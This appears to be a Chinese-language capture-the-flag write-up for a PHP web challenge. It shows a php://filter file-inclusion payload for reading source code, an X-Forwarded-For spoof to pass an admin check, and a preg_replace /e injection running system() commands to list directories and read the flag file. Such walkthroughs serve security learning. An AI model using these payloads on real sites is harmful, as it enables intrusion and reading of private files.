根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开
打开后 F12 调网页源码 查看后发现
?page=index 有page这个get参数
自然联想到可能存在利用文件包含读取网页源码的漏洞
这里给出利用php内置filter协议读取文件的代码
?page=php://filter/read=convert.base64-encode/resource=index.php
利用网页中自带的page传参漏洞?page=
代码的后半段参考另一个博主对于LFI读取php源码的解释
点这查看解释
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
代码审计得
这里用burpsuite伪造IP
出现 Welcome My Admin! 证明伪造成功
首先简单介绍一下preg_replace()函数
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
接着关于/e漏洞
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,
否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码
第一步尝试使用 system(“ls”) 获取文件目录
成功读取文件目录,同时发现目录下的 s3chahahaDir 文件的名字很可疑
想到进入该文件中查看内容
第二步 cd 到 s3chahahaDir 这个文件夹下查看内容
cd命令为 system("cd%20s3chahahaDir%26%26%20ls")
解释一下,%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,读取s3chahahaDir文件夹内容。于是有
发现flag文件,猜想大概率正确
再使用刚刚的 cd命令 system("cd%20s3chahahaDir/flag%26%26%20ls")
查看flag文件的内容
发现flag.php
最后使用cat命令读取flag.php中的内容
命令代码:system("cat%20s3chahahaDir/flag/flag.php")
得到flag
(1)利用php内置filter协议读取文件的代码
(2)伪造IP
(3)preg_replace()函数的/e漏洞
(4)正确的php system()函数的书写